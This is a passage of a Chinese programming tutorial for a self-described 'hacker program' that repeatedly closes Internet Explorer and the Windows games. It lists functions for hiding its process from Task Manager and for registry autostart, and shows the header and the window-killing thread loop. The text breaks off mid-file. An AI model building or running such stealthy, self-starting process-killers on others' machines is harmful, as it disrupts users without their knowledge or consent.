一个黑客程序开发实例 -- IE终结者
作者:f286
下载本文示例源代码
注:这个程序有一定的破坏性,请不要用于非法的目的!
代码运行效果图如下:
小弟最近看了VC知识库在线杂志第十二期中,有一篇《黑客攻击手段之偷梁换柱》突发灵感也想写一个黑客程序。经过了几天的搜集资料和试验终于写出了一个可以自动关闭IE和windows中自带游戏的小程序和大家分享,希望大家多提意见!
我在程序中采用了两种方法:
一种是采用了FindWindow(LPCTSTRlpszClassName,LPCTSTR lpszWindowName )这个函数来捕捉窗口的名称,但这种方法对于一些窗口标题变化的程序的效果就不好了。
另一种是CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID)这个函数是对现有工作进程进行一次快照,这样根据进程的名称就可以很方便的找到它,但是它使用比第一种方法复杂,而且还要在头文件中加入#include <tlhelp32.h>这个库!下面我们来看一下程序的主要的函数。
程序一共有这么几个部分:
热键处理函数:OnHotKey(WPARAM wParam,LPARAM lParam)
隐藏程序自己的进程(在windows的任务管理器中):HidePorcess(void)
创建一个线程用于完成核心内容:CreateMyThread(void)
在程序结束时用于关闭线程:CloseMyThread(void)
列出当前系统中所有进程(如果找到要找的进程关闭它):FindMyProcess(CString m_strprocessname)
更改注册表使程序和系统一起启动运行:RegMySys(void)
具体函数内容如下:
头文件:IECloesDlg.h
// IECloesDlg.h : 头文件//#pragma once#include "statlink.h"// CIECloesDlg 对话框class CIECloesDlg : public CDialog{// 构造public:CIECloesDlg(CWnd* pParent = NULL); // 标准构造函数// 对话框数据enum { IDD = IDD_IECLOES_DIALOG };protected:virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持// 实现protected:HICON m_hIcon;// 生成的消息映射函数virtual BOOL OnInitDialog();afx_msg void OnPaint();afx_msg HCURSOR OnQueryDragIcon();afx_msg LRESULT OnHotKey(WPARAM wParam,LPARAM lParam);DECLARE_MESSAGE_MAP()public:afx_msg void OnBnClickedClose();afx_msg void OnWindowPosChanging(WINDOWPOS* lpwndpos);afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);afx_msg void OnDestroy();afx_msg void OnBnClickedHide();// 开始运行时候隐藏对话框的变量bool m_bHide;// 是否关闭IEbool m_bIEClose;// 是否关闭window自带游戏bool m_bPlayclose;afx_msg void OnBnClickedCloseie();afx_msg void OnBnClickedCloseplay();//超链接的控件变量CStaticLink m_myemail;// 启动一个线程bool CreateMyThread(void);// 线程句柄HANDLE m_handle;//要找到窗口的句柄// IE的句柄HWND m_hie;// 扫雷游戏的句柄HWND m_hsaolei;//空当接龙游戏的句柄HWND m_hkongdangjielong;//蜘蛛纸牌游戏的句柄HWND m_hzhizhu;// 关闭线程void CloseMyThread(void);// 列出进程void FindMyProcess(CString m_strprocessname);// 更改注册表使程序和系统一起启动运行void RegMySys(void);// 在任务管理器中隐藏程序进程(这样才像个黑客)void HidePorcess(void);// 程序在硬盘中的路径CString m_strfilepath;};实现文件:IECloesDlg.cpp
// IECloesDlg.cpp : 实现文件//#include "stdafx.h"#include "IECloes.h"#include "IECloesDlg.h"#include <tlhelp32.h>//CreateToolhelp32Snapshot这个函数需要加载的头文件#ifdef _DEBUG#define new DEBUG_NEW#endif//线程函数UINT ThreadFunc(LPVOID lParam){CIECloesDlg *pdlg=(CIECloesDlg*)lParam;while (1){if (pdlg->m_bPlayclose) {pdlg->m_hkongdangjielong=FindWindow(NULL,"空当接龙");pdlg->m_hsaolei=FindWindow(NULL,"扫雷");pdlg->m_hzhizhu=FindWindow(NULL,"蜘蛛");if (pdlg->m_hkongdangjielong){Sleep(1000);SendMessage(pdlg->m_hkongdangjielong,WM_DESTROY,0,0);}if (pdlg->m_hsaolei){Sleep(1000);SendMessage(pdlg->m_hsaolei,WM_DESTROY,0,0);}if (pdlg->m_hzhizhu) {Sleep(3000);SendMessage(pdlg->m_hzhizhu,WM_DESTROY,0,0);}}if (pdlg->m_bIEClose) {pdlg->FindMyProcess("IEXPLORE.EXE");}}return 0;}// CIECloesDl